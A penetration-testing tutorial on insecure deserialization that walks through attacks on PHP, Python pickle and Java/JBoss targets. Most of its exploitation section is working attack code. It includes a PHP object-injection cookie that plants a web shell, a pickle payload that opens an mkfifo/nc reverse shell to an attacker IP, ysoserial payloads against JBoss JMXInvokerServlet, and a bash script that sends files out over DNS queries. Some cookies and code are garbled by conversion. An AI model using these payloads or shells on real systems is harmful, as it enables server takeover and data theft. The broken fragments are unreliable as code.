


# Detection & Exploitation of Deserialization



## TABLE OF CONTENTS

1. Definition .....	3
2. Root Cause of Vulnerability.....	4
3. Detection .....	4
4. Exploitation.....	6
5. Mitigation .....	19
6. References.....	19

## 1. Definition

**Serialization:** Serialization is the process of turning some object into a data format that can be restored later.

In simple terms “Disassembling process from an object into a sequence of bits is called Serialization”

Ex: Below example demonstrates the simple serialization of an array contains three objects.

```
<?php
$serialized_data = serialize(array('Math', 'Language', 'Science'));
echo $serialized_data . '<br>';
?>
```

Output: a:3:{i:0;s:4:"Math";i:1;s:8:"Language";i:2;s:7:"Science";}

**Deserialization:** Deserialization is the reverse process -- taking data structured from some format, and rebuilding it into an object. The most popular data format for serializing data is JSON and XML.

Ex: Below example demonstrates the simple deserialization of serialized data with help of php unserialize() function

```
<?php
$serialized_data = serialize(array('Math', 'Language', 'Science'));
echo $serialized_data . '<br>';
// Unserialize the data
$var1 = unserialize($serialized_data);
// Show the unserialized data;
var_dump ($var1);
?>
```

Output: a:3:{i:0;s:4:"Math";i:1;s:8:"Language";i:2;s:7:"Science";}  
array(3) { [0]=> string(4) "Math" [1]=> string(8) "Language" [2]=> string(7) "Science" }

## 2. Root Cause of Vulnerability

Many programming languages offer native deserialization mechanisms. Vulnerabilities arise when developers write code that accepts serialized data from users and attempt to unserialize it for use in the program. An attacker could cause Denial of Service, Bypass Access controls or gain Remote Access on target server.

## 3. Detection

### Method 1:

Normally serialized objects in java begin with “0xAC 0xED” when in hexadecimal format and “r00” in base64 encoding format.

Below example shows how a serialized object looks like


00000000	AC ED 00 05 73 72 00 24	6F 72 67 2E 6A 62 6F 73	..sr.\$org.jboss
00000010	73 2E 69 6E 76 6F 63 61	74 69 6F 6E 2E 4D 61 72	s.invocation.Mar
00000020	73 68 61 6C 6C 65 64 56	61 6C 75 65 EA CC E0 D1	shalledValueOf
00000030	F4 4A D0 99 0C 00 00 78	70 7A 00 00 04 00 00 00	[JLÖ...xpz.....
00000040	0D 12 AC ED 00 05 73 72	00 28 6F 72 67 2E 6A 62	..sr.(org.jboss
00000050	6F 73 73 2E 69 6E 76 6F	63 61 74 69 6F 6E 2E 49	oss.invocation.I
00000060	6E 76 6F 63 61 74 69 6F	6E 45 78 63 65 70 74 69	nvocationExcepti
00000070	6F 6E CF 54 91 9D D3 84	0F 4A 02 00 01 4C 00 05	onTæ¥ä.J...L..
00000080	63 61 75 73 65 74 00 15	4C 6A 61 76 61 2F 6C 61	causet..Ljava/la
00000090	6E 67 2F 54 68 72 6F 77	61 62 6C 65 3B 78 72 00	ng/Throwable;xr.
000000A0	13 6A 61 76 61 2E 6C 61	6E 67 2E 45 78 63 65 70	.java.lang.Excep

```
root@kali:~# cat client.bin | base64
r00ABXcE8AC6qncCAQF3BgAEdGVzdA==
```



### Method 2:

Burp Suite usually flag all serialized content in traffic and with the **Java Deserialization Scanner plugin** we can easily identify whether serialized objects that we found are exploitable or not.

To check that simply right click on request where you have identified serialized content and send it to **DS – Manual Testing** scanner.



Highlight the serialized data and then click on **Attack** button. The plugin will automatically detects the vulnerabilities and displays in **Issues** section as well as **Java Deserialization Scanner** section.




In other programming languages like Python (**UnPickling**), Ruby (**UnMarshalling**) and PHP (**UnSerialization**) we can explore similar fashion of detection where serialized data is sent

over either Cookies or Response header contains abnormal headers which we can use for abusing purposes.



## 4. Exploitation


### PHP – UnSerialization

We have a demo application called **Cookie Game** which is making use of unserialize() function.



The basic flow is like below where user enters his credentials and after authentication application is setting two cookies **user** and **auth**.





## Privilege Escalation

**user** cookie looks like base64 encoded serialized data. After decoding the value it looks like below


```
a:2:{s:2:"id";s:1:"1";s:4:"user";s:10:"valid user";}
```

If we have a closer look the developer is fetching the logged in user session from **id** parameter.

After little modification the serialized cookie value look like below.

```
a:2:{s:2:"id";s:1:"3";s:4:"user";s:10:"valid user";}
```

We can encode this value and send to the application.



In the similar manner we can gain unauthorized access to other users data as well with insecure usage of unserialization.

## Remote Code Execution via PHP Object Injection

Below example illustrates the simple usage of property oriented programming (POP) chain in PHP.

### DemoPopChain.php

```
<?php
```



```

class DemoPopChain {
    private $data = "bar\n";
    private $filename = '/tmp/foo';
    public function __wakeup(){
        $this->save($this->filename);
    }
    public function save($filename){
        file_put_contents($filename, $this->data);
    }
}
?>

```

User defined a class here, called **DemoPopChain** which is containing properties like data, filename which are declared with some values. `__wakeup()` function (magical method) is used for opening file and saving data.

### Serialize.php

```

<?php
include("/root/DemoPopChain.php");
$foo = new DemoPopChain();
file_put_contents('./serialized.txt', serialize($foo));
?>

```

**Serialize.php** will make use of user defined class called **DemoPopChain** and create new object `DemoPopChain()` where it's serialize the properties of `DemoPopChain` class and stores serialized data in `serialized.txt` file.

### Unserialize.php

```

<?php
require("DemoPopChain.php");
unserialize(file_get_contents("serialized.txt"));
?>

```

**Unserialize.php** will unserialize the serialized data which is stored earlier in file called `serialized.txt`. When data being unserialized the `__wakeup()` method will be called and a file **/tmp/foo** is created with content **bar** inside.

### Serialization

```

root@ubuntu:~# php Serialize.php
root@ubuntu:~# cat serialized.txt
O:12:"DemoPopChain":2:{s:18:"DemoPopChaindata";s:3:"bar";s:22:"DemoPopChainfilename";s:8:"/tmp/foo";}

```

### Unserialization



```
root@ubuntu:~# php Unserialize.php
root@ubuntu:~# ls /tmp/foo
/tmp/foo
root@ubuntu:~# cat /tmp/foo
barroot@ubuntu:~#
```

From this example we can see how developers make use of properties created in a class and further serializing and deserializing those properties.

What if we modify `serialize.txt` file and put user input content ??

```
root@ubuntu:~# cat serialized.txt
O:12:"DemoPopChain":2:{s:18:"DemoPopChaindata";s:8:"injected";s:22:"DemoPopChainfilename";s:9:"/tmp/test";}
root@ubuntu:~# php Unserialize.php

root@ubuntu:~# ls /tmp/test
/tmp/test
root@ubuntu:~# cat /tmp/test
injectedroot@ubuntu:~#
```

File is successfully created with user input. In the same way if application is unserializing user input it results in remote code execution.

Our Cookie Game application doing same while unserializing cookies in login flow where an attacker can inject his own content.

Request	Response
<div> <div>RawParamsHeadersHex</div> <pre> GET /cg/home.php HTTP/1.1 Host: demo.nullbytes.in User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: auth=IPjpNeOul#252BaGjQEOMiwxj0BYx7hWIXVqZG2N9pmWfH0#253D; user=VT0yOntz0jiI6ImIkjtz0jEiJi0i3M6NdoidXNlcil7czoxMDoidmFs aWQgdXNlcil7fQ%3D%3D Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 </pre> </div>	<div> <div>RawHeadersHexHTMLRender</div> <pre> &lt;link rel="stylesheet" href="css/style.css"&gt;  &lt;/head&gt;  &lt;body&gt;  &lt;div class="container"&gt; &lt;h1&gt;&lt;center&gt;Cookie Game&lt;/center&gt;&lt;/h1&gt; &lt;div class="fancy-terminal"&gt; &lt;p&gt;Welcome to Cookie Game&lt;/p&gt; &lt;p&gt;echo \$(whoami)&lt;/p&gt; &lt;p&gt;suresh &lt;/p&gt; &lt;p&gt;I wanna go out &lt;a href="logout.php"&gt;KickMeOut&lt;/a&gt;&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; </pre> </div>

```
<?php
```

---snip---

```
class App
```

{

```
public $logFile = "logs.txt";
```

```
public $logData = "test";
```

public function **destruct()**

{

```
file put contents( DIR  './'. $this->logFile, $this->logData);
```

```
// echo 'Logs written';
```

}

}

```

$cookie2 = $_COOKIE["auth"];
$user1 = unserialize(urldecode(urldecode($cookie2)));
---snip---
Welcome user
---snip---
?>

```

To generate payload we need to know the class name which is possible only in whitebox pentesting. We can make use of above class App to generate our malicious payload.

```

<?php
Class App
{
public $logFile = "shell.php";
public $logData= '<?php echo shell_exec($_GET["cmd"]);?>';
}
$obj = new App;
echo serialize($obj);
?>

```

After running our php script we can see our serialized payload generated successfully.

```

root@ubuntu:/var/www/html/deser# php test.php
O:3:"App":2:{s:7:"logFile";s:9:"shell.php";s:7:"logData";s:38:"<?php echo shell_exec($_GET["cmd"]);?>";}}

```

We need to send urlencoded payload via auth cookie to server in order to get successful execution.

Request				Response				
Raw	Params	Headers	Hex	Raw	Headers	Hex	HTML	Render
<pre> GET /cg/home.php HTTP/1.1 Host: demo.nullbytes.in User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: auth=O%3A%3A%22App%22%3A%3A%7B%3A%7%3A%22logFile%22%3B%3A%3A%22shell.php%22%3B%3A%7%3A%22logData%22%3B%3A%38%3A%22%3C%3Fphp%20echo%20shell_exec(%24_GET%5B%22cmd%22%5D)%3B%3F%3E%22%3B%7D; user=YToyOntzOjI6ImkiIjtzOjE6ImNldDdXNlciI7czoxMDdoidmfsaWQgdXNlciI7fQ%3D%3D Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 </pre>				<pre> &lt;link rel="stylesheet" href="css/style.css"&gt;  &lt;/head&gt;  &lt;body&gt;  &lt;div class="container"&gt; &lt;h1&gt;&lt;center&gt;Cookie Game&lt;/center&gt;&lt;/h1&gt; &lt;div class="fancy-terminal"&gt; &lt;p&gt;Welcome to Cookie Game&lt;/p&gt; &lt;p&gt;echo \$(whoami)&lt;/p&gt; &lt;p&gt;suresh &lt;/p&gt; &lt;p&gt;I wanna go out &lt;a href="logout.php"&gt;KickMeOut&lt;/a&gt;&lt;/p&gt; &lt;/div&gt; &lt;/body&gt; </pre>				

After this we can access our shell.php file via browser.



PHP Object Injection is not required everytime to exploit unserialization vulnerability in PHP. Often we can make use of memory corruption bugs like user-after-free to exploit the same.

## Python UnPickling

In python pickle module will be used to convert object to byte stream.

```
>>> import pickle
>>> color = {"suresh": "green"}
>>> pickle.dump(color, open("test.pickle", "wb"))
>>> quit()
root@ubuntu:/var/www/html/deser# cat test.pickle
(dp0
S'suresh'
p1
S'green'
p2
s.root@ubuntu:/var/www/html/deser#
```

To unpickle the data simply we can use **pickle.load** to convert byte stream to readable object.

```
>>> import pickle
>>> color = pickle.load(open("test.pickle", "rb"))
>>> print color
{'suresh': 'green'}
>>>
```

Pickle is a stack language which means that the pickle instructions push/pop the data from stack.

In order to gain the remote code execution first we need to understand few stack operations performed by pickle module

c -> It will read the new line as module name and next line as object name finally it will push module.object onto the stack.

( -> insert marker object into stack

S -> Read the string and push to stack.

t-> pop the objects from stack

R -> Pop a tuple and push the result onto the stack.

.(dot) -> end of the pickle.

We can modify **test.pickle** as below to gain shell commands execution.

```
root@ubuntu:/var/www/html/deser# cat test.pickle
cos
system
(S'/bin/sh'
tR.
root@ubuntu:/var/www/html/deser# python
Python 2.7.6 (default, Nov 23 2017, 15:49:48)
[GCC 4.8.4] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> pickle.load(open("test.pickle","rb"))
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

The modified pickled data (user input) is passed via unpickling (pickle.load) which results in execution.

For demonstration we have python socket application which runs on port 1337.

<pre>root@ubuntu: ~ signal.signal(signal.SIGCHLD, signal def server(skt):     line = skt.recv(1024)      obj = pickle.loads(line)      for i in obj:         clnt.send("Here is Unpickled L  skt = socket.socket(socket.AF_INET, skt.bind(('0.0.0.0', 1337)) skt.listen(10)  while True:     clnt, addr = skt.accept()      if os.fork() == 0:         clnt.send("")         server(clnt)         #print "Hi Welcome to Test Pag         exit(1) root@ubuntu:~# python test.py</pre>	<pre>root@kali: ~ root@kali:~# python Python 2.7.13 (default, Jan 19 2017, 14:48:08) [GCC 6.3.0 20170118] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import pickle &gt;&gt;&gt; color = {"suresh": "green"} &gt;&gt;&gt; pickle.dump(color, open("test.p", "wb")) &gt;&gt;&gt; quit() root@kali:~# nc -nv 192.168.146.131 1337 &lt; test.p (UNKNOWN) [192.168.146.131] 1337 (?) open Here is Unpickled Data: suresh</pre>
--	--

We have sent pickled data as input to port 1337. Application displayed unpickled data back to the user.

To gain remote shell access we need to modify our pickled byte stream as below.

```
root@ubuntu: ~
root@ubuntu:~# python test.py

root@kali: ~
root@kali:~# cat test.p
cos
system
(S'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh|nc 192.168.146.128 1234 > /tmp/f'
tR.
root@kali:~# nc -nv 192.168.146.131 1337 < test.p
(UNKNOWN) [192.168.146.131] 1337 (?) open

root@kali: ~
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
192.168.146.131: inverse host lookup failed: Unknown host
connect to [192.168.146.128] from (UNKNOWN) [192.168.146.131] 60902
hostname
ubuntu
```

## Java – Insecure Deserialization

A well known vulnerability in **JBoss** involves interacting with the “**JMXInvokerServlet**” that is VERY often left open so anyone can talk to it.

**JMX** is a **Java Management Protocol**, the **JMXInvokerServlet** in JBoss lets you interact with it over HTTP. It relies on Java serialized objects for communication – thats just how it works.

JBoss Server can run on any port. By default it will run on port 8080. **JMXInvokerServlet** can be accessed directly from web server which is running on 8080 port (<http://test.com/invoker/JMXInvokerServlet>). After browsing this URL a serialized data file can be seen with the following contents

```
root@kali:~/Downloads# xxd JMXInvokerServlet
00000000: aced 0005 7372 0024 6f72 672e 6a62 6f73 ....sr.$org.jbos
00000010: 732e 696e 766f 6361 7469 6f6e 2e4d 6172 s.invocation.Mar
00000020: 7368 616c 6c65 6456 616c 7565 eacc e0d1 shalledValue....
00000030: f44a d099 0c00 0078 707a 0000 0400 0000 .J.....xpz.....
00000040: 0d12 aced 0005 7372 0028 6f72 672e 6a62 .....sr.(org.jb
00000050: 6f73 732e 696e 766f 6361 7469 6f6e 2e49 oss.invocation.I
00000060: 6e76 6f63 6174 696f 6e45 7863 6570 7469 nvocationExcepti
00000070: 6f6e cf54 919d d384 0f4a 0200 014c 0005 on.T.....J...L..
00000080: 6361 7573 6574 0015 4c6a 6176 612f 6c61 causet..Ljava/la
00000090: 6e67 2f54 6872 6f77 6162 6c65 3b78 7200 ng/Throwable;xr.
000000a0: 136a 6176 612e 6c61 6e67 2e45 7863 6570 .java.lang.Excep
000000b0: 7469 6f6e d0fd 1f3e 1a3b 1cc4 0200 0078 tion...>.;.....x
000000c0: 7200 136a 6176 612e 6c61 6e67 2e54 6872 r..java.lang.Thr
```



If we observe the downloaded file, the serialized content is present that we can confirm from starting hex bits (0xAC 0xED).

To exploit the vulnerability either we can use [ysoserial](#) jar loader or **Burp Java Serial Killer** plugin.

### Method 1:

Download [ysoserial jar](#). As the Deserialization attack is blind so we can use ping back approach to confirm the vulnerability.

Generate payload using ysoserial tool.

```
root@kali:~# java -jar ysoserial.jar CommonsCollections1 'ping -c 4 192.168.22.6'
' > ping.out
root@kali:~# file ping.out
ping.out: Java serialization data, version 5
root@kali:~#
```

Listen on our kali machine tcpdump to filter the ICMP traffic.

```
root@kali: ~
File Edit View Search Terminal Help
root@kali:~# tcpdump -i eth0 -n dst host 192.168.22.6
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

Response
```

Capture GET request of <http://test.com/Invoker/JMXInvokerServlet> and change it to POST then choose paste from file option to trigger our payload.

The screenshot shows the Burp Suite interface with two panels: 'Request' and 'Response'. The 'Request' panel displays a modified HTTP POST request to `http://test.com/Invoker/JMXInvokerServlet`. The request body contains a Java serialized payload generated by ysoserial, which is a CommonsCollections1 object configured to execute a ping command. The 'Response' panel shows the server's response, which is a 200 OK status from Apache-Coyote/1.1, indicating a successful request.

We can see incoming ping requests in our kali machine traffic.

```


root@kali:~# tcpdump -i eth0 -n dst host 192.168.22.6
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
20:28:10.083738 IP 192.168.22.10.8080 > 192.168.22.6.57718: Flags [S.], seq 3062
707161, ack 1044182382, win 28960, options [mss 1460,sackOK,TS val 10290809 ecr
1125011277,nop,wscale 7], length 0
20:28:10.084441 IP 192.168.22.10.8080 > 192.168.22.6.57718: Flags [.], ack 1449,
win 249, options [nop,nop,TS val 10290809 ecr 1125011277], length 0
20:28:10.084558 IP 192.168.22.10.8080 > 192.168.22.6.57718: Flags [.], ack 1832,
win 272, options [nop,nop,TS val 10290809 ecr 1125011277], length 0
20:28:10.088600 IP 192.168.22.10.8080 > 192.168.22.6.57718: Flags [.], seq 1:144
9, ack 1832, win 272, options [nop,nop,TS val 10290810 ecr 1125011277], length 1
448: HTTP: HTTP/1.1 200 OK
20:28:10.088731 IP 192.168.22.10.8080 > 192.168.22.6.57718: Flags [.], seq 1449:
2897, ack 1832, win 272, options [nop,nop,TS val 10290810 ecr 1125011277], leng
h 1448: HTTP
20:28:10.088785 IP 192.168.22.10.8080 > 192.168.22.6.57718: Flags [P.], seq 2897
:4171, ack 1832, win 272, options [nop,nop,TS val 10290810 ecr 1125011277], leng
th 1274: HTTP

```

We can further intrude to system with help of this ysoserial method.

## Method 2:

Install **Java Serial Killer** plugin in Burp and send GET request of <http://test.com/invoker/JMXInvokerServlet> to Java Serial Killer tab.



Choose **CommonsCollections1** as payload type. Highlight the keyword **test** where we need to serialize the content and enter ping command then click on **Serialize** button.











Result in DNS logs:

TGludXggdWJ1bnR1IDQuNC4wLTmxLWdlbmVyaWMglzUwfjE0LjA0LjEtVWJ1bnR1IFNNUCBXZWQg.test.com

Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed (Base64 Decoded)

4. Yes it is challenging task to dump each and every information over DNS but we can automate this with XXD utility.

```
#!/bin/bash
hexDump=`xxd -p $1`
i=0
for line in $hexDump
do
    dig $line"."${(i++)}.DB1.test.com"
done
```

The above script will perform following operations.

1. Parse the target file using the xxd utility.
2. Pre-pend each hex-encoded piece to a dig DNS query.
3. Add an index number in case the DNS queries arrive out of order.
4. Add a unique identifier in case multiple exports are conducted simultaneously.
5. Execute the dig commands.

## 5. Mitigation

Avoiding deserialization of Untrusted user input is the best case to mitigate this issue. Also removing support for affected software components in production or upgrading the affected assets will resolve this issue.

## 6. References

1. <https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability>
2. <https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html>
3. <https://github.com/joaomatosf/JavaDeserH2HC>
4. <https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf>